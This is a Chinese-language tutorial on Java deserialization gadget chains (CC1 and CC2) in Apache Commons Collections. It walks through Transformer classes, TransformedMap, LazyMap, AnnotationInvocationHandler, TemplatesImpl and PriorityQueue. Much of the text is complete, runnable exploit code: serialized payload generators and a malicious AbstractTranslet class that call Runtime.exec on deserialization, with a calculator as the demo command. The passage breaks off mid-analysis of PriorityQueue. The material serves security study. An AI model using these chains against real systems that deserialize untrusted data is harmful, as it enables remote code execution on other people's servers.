CC链入门

我们已经知道了序列化和反序列化漏洞的基本原理,那么怎么通过构造恶意数据,让反序列化产生非预期对象呢?

Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。collection是set,list,queue的抽象。

作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。

Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。

前置疑问

为什么不直接构造Runtime.getRuntime().exec(),而是需要构造 Runtime.class.getMethod("getRuntime").invoke("null").exec("calc")?

Runtime没有继承 Serializable接口,我们无法将其进行序列化,而通过Runtime.class变成Class对象后,Class就继承了Serializable。

Runtime对象不能直接 new拿,原因是 Runtime 类的构造方法是私有的。所以要通过单例模式的静态方法,也就是Runtime.getRuntime()拿到Runtime对象。这就需要用到前面所学的java的反射机制了。

现在问题就很关键了,需要找到一个符合要求的对象,可以储存,并且在特定情况下调用命令。

Map类->TransformedMap

Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。 也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。

而实现怎么样的操作或者变换都是我们提前设定好的,这叫做transform

我们可以通过 TransformedMap.decorate()方法获得一个TransformedMap的实例

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。

第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法

Map的一些知识

  • Map是java中的接口,Map.Entry是Map的一个内部接口。
  • Map提供了一些常用方法,如keySet()、entrySet()等方法。
  • keySet()方法返回值是Map中key值的集合;
  • entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry。
  • Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。接口中有getKey(),getValue方法,可以用来对集合中的元素进行修改

Transformer 接口

作用:接口于Transformer的类都具备把一个对象转化为另一个对象的功能

所属类为: InvokerTransformer

我们可以看到该类接收一个对象,获取该对象的名称,然后调用了一个invoke反射方法。另外,多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。

那么,利用思路就出来了

  • ConstantTransformer --> 把一个对象转换为常量,并返回
  • InvokerTransformer --> 通过反射,返回一个对象
  • ChainedTransforme -->执行链式的Transformer方法

CC1

复现

先下载jar包,

jdk版本:1.8.0_292

导入lib目录下,add as a library

ConstantTransformer

长按CTRL,点击此类,进入看一下定义

package org.apache.commons.collections.functors;

import java.io.Serializable;
import org.apache.commons.collections.Transformer;

public class ConstantTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = 6374440726369055124L;
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    private final Object iConstant;

    public static Transformer getInstance(Object constantToReturn) {
        return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
    }

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

    public Object getConstant() {
        return this.iConstant;
    }
}

当ConstantTransformer获取一个对象类型时,我们将参数设置为Runtime.class,最后返回的类型是Runtime.class

import org.apache.commons.collections.functors.ConstantTransformer;

public class Demo0 {
    public static void main(String[] args) {
        ConstantTransformer constantTransformer = new ConstantTransformer("Runtime.getRuntime()");
        Object transform = constantTransformer.transform("null");
        System.out.println(transform);
    }
}

 

InvokerTransformer

可以看出,只要传入方法名,方法类型和参数,就可以调用任意函数

这是它实例化时候的方法

public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
    if (methodName == null) {
        throw new IllegalArgumentException("The method to invoke must not be null");
    } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
        throw new IllegalArgumentException("The parameter types must match the arguments");
    } else if (paramTypes != null && paramTypes.length != 0) {
        paramTypes = (Class[])((Class[])paramTypes.clone());
        args = (Object[])((Object[])args.clone());
        return new InvokerTransformer(methodName, paramTypes, args);
    } else {
        return new InvokerTransformer(methodName);
    }
}

 Demo01

import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo01 {
    public static void main(String[] args) {

            // 定义需要执行的本地系统命令
            String cmd = "calc";

            // 构建transformer对象
            InvokerTransformer transformer = new InvokerTransformer(
                    "exec", new Class[]{String.class}, new Object[]{cmd}
            );

            // 传入Runtime实例,执行对象转换操作
            transformer.transform(Runtime.getRuntime());
        }
    }

先创建一个InvokerTransformer的实例,传递相应的参数,通过反射调用transform的方法,成功使得类调用Runtime.getRuntime()

ChainedTransformer

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

当传入的参数是一个数组的时候,就开始循环读取,对每个参数调用transform方法,从而构造出一条链。

在链式调用中,常常需要这样构建,我们来分析一下

 Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
Invoke 方法 第一参数为表示要调用哪个对象的方法,第二个参数表示要向方法中传入的参数

首先我们可以看到,通过ConstantTransformer(),获取Runtime类,然后反射调用getRuntime函数,之后再用invoke去调用exec方法,最后从而执行系统命令。

利用的时候,我们需要先提前构造,ChainedTransformer链,然后实例化一个TransformerMap对象,然后想办法修改其中的数据,使其自动调用transformer方法,进行特定的变换。

Demo02

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo02 {
    public static void main(String[] args) {
        // 定义需要执行的本地系统命令
        String cmd = "calc";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 执行对象转换操作
        transformedChain.transform(null);
    }
}

之后分别跟进 invokegetMethodexec方法,发现,invoke和getMethod方法需要传入两个参数,exec传入一个参数,于是就可以构造为以上

那么,最后一个问题,传入null....是为什么

那么,有没有什么思路,是可以代替transform的呢?

只要调用TransformedMapsetValue/put/putAll中的任意方法都会触发InvokerTransformer类的transform方法,从而也就会触发命令执行。

Demo03

使用TransformedMap类的setValue触发transform示例

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo03 {
    public static void main(String[] args) {
        String cmd = "calc";
        //此处代码和demo02中相同
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        new Object[0],null}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})

        };


        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

        // transformedMap.put("v1", "v2");// 执行put也会触发transform

        // 遍历Map元素,并调用setValue方法
        for (Object obj : transformedMap.entrySet()) {
            Map.Entry entry = (Map.Entry) obj;

            // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
            entry.setValue("test");
        }

        System.out.println(transformedMap);
    }
}

到这里,基本明了了,要想方设法调用tranform方法。

那么,最后理一下思路

  1. 先构造一个Map,和能够执行代码的ChainedTransformer
  2. 生成一个TransformedMap实例
  3. 利用MapEntry的setValue()函数,对TransformedMap中的键值进行修改
  4. 触发我们构造的链式Transformer对象,进行自动转换

TransformedMap的entry是怎么来的

我们知道Map的Entry对象,由Map.entrySet产生,所以TransformedMap的Entry对象是TransformedMap.entrySet()

此处TransformedMap.entrySet()返回的类型就变成 AbstractInputCheckedMapDecorator$MapEntry类型。

因此得到了这样的代码

Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); // 通过迭代器获取第一组值

entry.setValue(Object.class);

而示例中,entry.setValue()调用的就是AbstractInputCheckedMapDecorator$MapEntry中的setValue方法。

但是,目前的构造还需要依赖于Map中某一项去调用setValue() 怎样才能在调用readObject()方法时直接触发执行呢?这就需要用到下面的类

AnnotationInvocationHandler

在java 8u71以后,官方修改了AnnotationInvocationHandler#readObject,故无法采用此类触发漏洞

需在此换成jdk7的版本

这个类中有一个成员变量是Map类型,--->memberValues

我们知道,如果一个类的方法被重写,那么在调用这个函数的时候,会优先调用经过修改的方法,因为,如果某个可序列化后的类重写了readObject方法,并且在readObject中对Map类型进行了键值修改操作,且这个Map是可控的,就可以实现攻击,而这个了类,符合条件

package sun.reflect.annotation;

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

  AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
  
  }

  // Java动态代理的invoke方法
  public Object invoke(Object var1, Method var2, Object[] var3) {
    
  }

  private void readObject(ObjectInputStream var1) {
     
  }

}

 开始分析,攻击链

361行的v5可以被赋值,355行可以看出,v5的值取决于v4,352行可以看出,v4的值和memberValues有关,而memberValues又是Map形式的全局变量。

那么,我们构建TransformedMap对象尝试在反序化的时候,实现RCE

思路调整

  1. 首先构造一个Map和一个能够执行代码的ChainedTransformer,
  2. 生成一个TransformedMap实例
  3. 实例化AnnotationInvocationHandler,并对其进行序列化,
  4. 当触发readObject()反序列化的时候,就能实现命令执行

注意

  • AnnotationInvocationHandler是一个内部API专用的类,在外部我们无法通过类名创建出AnnotationInvocationHandler类实例
  • 我们需要通过反射的方式创建出AnnotationInvocationHandler对象
  • 获取类对象-->获取方法对象--->反射方法对象,实例化。

Demo04

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

public class Demo04 {
    public static void main(String[] args) {
        String cmd = "calc.exe";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

//        // 遍历Map元素,并调用setValue方法
//        for (Object obj : transformedMap.entrySet()) {
//            Map.Entry entry = (Map.Entry) obj;
//
//            // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
//            entry.setValue("test");
//        }
//
        transformedMap.put("v1", "v2");// 执行put也会触发transform

        try {
            // 获取AnnotationInvocationHandler类对象
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

            // 获取AnnotationInvocationHandler类的构造方法
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

            // 设置构造方法的访问权限
            constructor.setAccessible(true);

            // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
            // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
            Object instance = constructor.newInstance(Target.class, transformedMap);

            // 创建用于存储payload的二进制输出流对象
            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            // 创建Java对象序列化输出流对象
            ObjectOutputStream out = new ObjectOutputStream(baos);

            // 序列化AnnotationInvocationHandler类
            out.writeObject(instance);
            out.flush();
            out.close();

            // 获取序列化的二进制数组
            byte[] bytes = baos.toByteArray();

            // 输出序列化的二进制数组
            System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));

            // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

            // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
            ObjectInputStream in = new ObjectInputStream(bais);

            // 模拟远程的反序列化过程
            in.readObject();

            // 关闭ObjectInputStream输入流
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

 RCE链调用如下

ObjectInputStream.readObject()
  ->AnnotationInvocationHandler.readObject()
      ->TransformedMap.entrySet().iterator().next().setValue()
          ->TransformedMap.checkSetValue()
        ->TransformedMap.transform()
          ->ChainedTransformer.transform()
            ->ConstantTransformer.transform()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Class.getMethod()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.getRuntime()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.exec()

注意二

上述TransformedMap,也可以通过LazyMap构造利用链

Map outerMap = LazyMap.decorate(innerMap,transformerChain);

这时exp变为

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

// ysoserial
public class CC1Yso {
    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        // 不用再添加value了
        // innerMap.put("value", "value");
        //使用 LazyMap
        Map outerMap = LazyMap.decorate(innerMap,transformerChain);

        // 通过反射机制 实例化 AnnotationInvocationHandler
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制
        ctor.setAccessible(true);
        //获取AnnotationInvocationHandler类实例
        Object instance = ctor.newInstance(Target.class, outerMap);

        // 动态代理劫持 (Proxy 实现了Serializable接口 是可以序列化的)
        InvocationHandler handler = (InvocationHandler) instance;
        Map proxyMap = (Map) Proxy.newProxyInstance(
                Map.class.getClassLoader(),
                new Class[] {Map.class},
                handler
        );

        Object proxy =  ctor.newInstance(Target.class, proxyMap);

        //payload序列化写入文件,模拟网络传输
        FileOutputStream f = new FileOutputStream("payloadproxy.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(proxy);

        //2.服务端读取文件,反序列化,模拟网络传输
        FileInputStream fi = new FileInputStream("payloadproxy.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        //服务端反序列化
        fin.readObject();
    }
}

CC2

参考文章:8-java安全--java反序列化CC2链分析_专注于linux开发与web安全-CSDN博客

javassist使用全解析 - rickiyang - 博客园

Ysoserial CommonsColletions2 两个问题 - 先知社区

环境搭建

老实说,,,CC2复现的时候,跟着某篇错误的文章,,,复现了半天,,后来换了一篇,,成功了。。。

首先CC2是需要apache commons collections-4.0版本的,然后我的maven仓库里,没有他的依赖,需要先从maven的仓库里找到这个依赖,把pom文件和jar文件一同放在仓库下。在这里设置仓库的路径

在这个文件夹里,相对应的文件里,找到对应的路径,导入文件

然后在maven对应的pom.xml中添加相应的依赖

<dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

 一定要干上面的事情,要不然是找不到对应的依赖的。

EXP

先整上师傅们的exp

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2Test {
    public static void main(String[] args) throws Exception {
        //构造恶意类TestTemplatesImpl并转换为字节码
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("payload");
        byte[] bytes = ctClass.toBytecode();

        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "payload");

        //构造利用链
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
        TransformingComparator transformer_comparator =new TransformingComparator(transformer);
        //触发漏洞
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        //设置comparator属性
        Field field=queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,transformer_comparator);

        //设置queue属性
        field=queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        //队列至少需要2个元素
        Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
        field.set(queue,objects);

        //序列化 ---> 反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object object = ois.readObject();
    }
}

再放上恶意构造的类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;


public class payload extends AbstractTranslet {

    public payload() {
        super();
        try {
            Runtime.getRuntime().exec("calc.exe");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}

这里的exp需要用到一个jar包

Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法。

Gadget chain

/*

Gadget chain:

ObjectInputStream.readObject()

PriorityQueue.readObject()

...

TransformingComparator.compare()

InvokerTransformer.transform()

Method.invoke()

Runtime.exec()

*/

CC2的利用思路是这样的

  1. 构造一个TestTemplatesImpl恶意类转成字节码,然后通过反射将恶意类的字节码注入到TemplatesImpl对象的_bytecodes属性(构造利用核心代码)

  2. 创建一个InvokerTransformer并传递一个newTransformer方法,然后将InvokerTransformer传递给TransformingComparator(这一步和CC1链非常相似)

  3. 通过反射构造PriorityQueue队列的comparator和queue两个字段,将PriorityQueue队列的comparator字段设置为TransformingComparator,然后将queue字段设置为TemplatesImpl对象,触发利用链。

PriorityQueue

他的readObject方法是这样的。

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, size);
    final Object[] es = queue = new Object[Math.max(size, 1)];

    // Read in all elements.
    for (int i = 0, n = size; i < n; i++)
        es[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

 我们进一步跟进heapify方法

从heapify-->siftDownUsingComparator,其中的siftDownUsingComparator代码如下

private static <T> void siftDownUsingComparator(
    int k, T x, Object[] es, int n, Comparator<? super T> cmp) {
    // assert n > 0;
    int half = n >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = es[child];
        int right = child + 1;
        if (right < n && cmp.compare((T) c, (T) es[right]) > 0)
            c = es[child = right];
        if (cmp.compare(x, (T) c) <= 0)
            break;
        es[k] = c;
        k = child;
    }
    es[k] = x;
}

这个方法中,调用了比较器的compare方法。//我这里没有找到下面这条语句

public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

这时已经看到transform方法,就可以使用和CC链1相同的方法去执行本地命令。

接下来分析分析如何构造CC2的利用链

TemplatesImpl

  //构造恶意类TestTemplatesImpl并转换为字节码
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("TestTemplatesImpl");
        byte[] bytes = ctClass.toBytecode();

这里我们是用javassist将构造了的恶意类,转化为二进制的字节码。因为,我们需要用到TemplatesImpl类,我们需要对他进行插入一些数据。

TemplatesImpl类有一个_bytecodes属性和一个defineTransletClasses方法,_bytecodes属性会接收一个byte数组,并且defineTransletClasses方法内部调用了defineClass 方法将_bytecodes属性的字节码还原成class对象,然后将class对象赋给_class属性

如果一个恶意类传给TemplatesImlp类_bytecodes属性,那么defineTransletClasses方法根据_bytecodes属性的字节码数据加载成class对象时。_bytecodes属性可控,在调用NewInstance方法,实例化对象时,就会触发class对象的构造方法。

按Alt + F7快捷键查找,看到TemplatesImpl类中有以下几个方法中调用了defineTransletClasses方法。

看到getTransletInstance这个类,内部调用了defineTransletClassesnewInstacne方法

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        //根据class对象可进行实例化
        AbstractTranslet translet = (AbstractTranslet)
                _class[_transletIndex].getConstructor().newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setOverrideDefaultParser(_overrideDefaultParser);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException | IllegalAccessException |
            NoSuchMethodException | InvocationTargetException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString(), e);
    }
}
  1. getTransletInstance方法内部判断了_name属性是否为空,如果没有设置直接返回null,不再往下执行。
  2. 这里我们要想办法绕过_name属性,也就是在构造核心利用代码时通过反射将_name属性设置为恶意类TestTemplatesImpl的类名。
  3. 接着判断class对象为空就调用defineTransletClasses方法创建class对象。当defineTransletClasses方法创建恶意类的class对象后,_class属性会调用newInstance方法实例化TestTemplatesImpl

实现过程参考defineTransletClasses方法实现

private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader =
            AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {
            public TransletClassLoader run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),
                        _tfactory.getExternalExtensionsMap());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class<?>[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        // create a module for the translet

        String mn = "jdk.translet";

        String pn = _tfactory.getPackageName();
        assert pn != null && pn.length() > 0;

        ModuleDescriptor descriptor =
            ModuleDescriptor.newModule(mn, Set.of(ModuleDescriptor.Modifier.SYNTHETIC))
                            .requires("java.xml")
                            .exports(pn, Set.of("java.xml"))
                            .build();

        Module m = createModule(descriptor, loader);

        // the module needs access to runtime classes
        Module thisModule = TemplatesImpl.class.getModule();
        // the module also needs permission to access each package
        // that is exported to it
        PermissionCollection perms =
            new RuntimePermission("*").newPermissionCollection();
        Arrays.asList(Constants.PKGS_USED_BY_TRANSLET_CLASSES).forEach(p -> {
            thisModule.addExports(p, m);
            perms.add(new RuntimePermission("accessClassInPackage." + p));
        });

        CodeSource codeSource = new CodeSource(null, (CodeSigner[])null);
        ProtectionDomain pd = new ProtectionDomain(codeSource, perms,
                                                   loader, null);

        // java.xml needs to instantiate the translet class
        thisModule.addReads(m);

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i], pd);
            final Class<?> superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (ClassFormatError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
        throw new TransformerConfigurationException(err.toString(), e);
    }
    catch (LinkageError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString(), e);
    }
}

_class对象是一个接受classes对象的数组,_transletIndex索引控制了_class数组中具体哪一个class对象,defineTransletClasses方法在还原对象的时候,会判断当前classes对象是否继承了AbstractTranslet类,并设置_transletIndex索引。

在全局变量中是这样设置的

private static String ABSTRACT_TRANSLET

= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

说明我们实例化的对象,必须要继承这个类

之后,我们可以想,哪里有地方调用到了getTransletInstance方法,继续alt+F7找到

newTransformer创建了一个Transformer对象,妙啊,这不就是CC链1中的核心精髓吗?对,我们需要InvokerTransformer去构造链式,因此下一步的思路就是查找哪些类调用了Transformer接口的transform方法并且还实现了Serializable接口,最终我们找到以下这几个类:

左侧找到了很多类中都调用了transform方法,不过这里我们用到的是TransformingComparator类,TransformingComparator类是一个Comparable 对象的comparator比较器,实现了Serializable接口。

TransformingComparator类的compare方法中通过transformer属性来调用transform方法的,如果想要调用InvokerTransformer类的transform方法,可以把InvokerTransformer传给TransformingComparator类的构造来设置transformer属性(当然也可以使用反射),因为transformer属性可控

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

构造方法内部又调用了一次构造将ComparatorUtils.NATURAL_COMPARATOR传给了decorated属性(ComparatorUtils.NATURAL_COMPARATOR是一个Comparator类型)

于是乎,我们得到了这么一条利用链

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
//将InvokerTransformer传递给TransformingComparator
TransformingComparator comparator =new TransformingComparator(transformer);

那么,我我们将如何触发这个利用链?

(如何调用TransformingComparator的compare方法?),我们知道comparator比较器在集合中使用的比较多,并且还可以通过实现Comparator接口自定义比较器,而TransformingComparator类本身就是一个自定义比较器,因为它实现了Comparator接口,那么我们可以通过集合来调用TransformingComparator比较器,这个集合必须实现Serializable接口,重写了readObject方法,并且还使用了Comparator比较器。

这里就需要使用jdk中PriorityQueue集合,PriorityQueue是一个优先队列,每次排序都会触发comparator比较器的compare方法,并且PriorityQueue还重写了readObject方法(反序列化漏洞必要的利用条件)。

现在来看一下PriorityQueue的readObject方法

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();
 
        // Read in (and discard) array length
        s.readInt();
 
        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        //接收PriorityQueue队列的元素
        queue = new Object[size];
 
        // Read in all elements.
        //读取元素还原成java对象
